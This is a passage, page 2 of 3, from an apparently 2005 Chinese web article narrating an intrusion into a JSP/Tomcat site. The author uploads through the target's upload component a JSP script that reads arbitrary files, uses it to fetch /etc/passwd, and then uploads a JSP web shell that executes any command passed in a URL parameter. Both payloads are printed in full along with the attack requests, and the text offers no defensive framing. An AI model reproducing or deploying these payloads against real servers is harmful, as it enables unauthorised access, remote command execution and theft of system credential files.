正 文

入侵基于jsp+tomcat的Web网站实录


www.7dspace.com  更新日期:2005-10-22 3:59:47  七度空间


  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>

  然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd

  密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

  再写一个JSP文件:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

  然后把这个JSP再通过upload上传,有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)

3页,页码:[1] [2] [3] 

上一篇:JSP报表打印的一种简单解决方案
下一篇:如何在Windows 2003中得到登陆密码
作者:  来源:asp道 ( 责任编辑:7dspace )
收藏此页】【打印】【关闭
站 内 搜 索
 

热 点 导 读
特 别 推 荐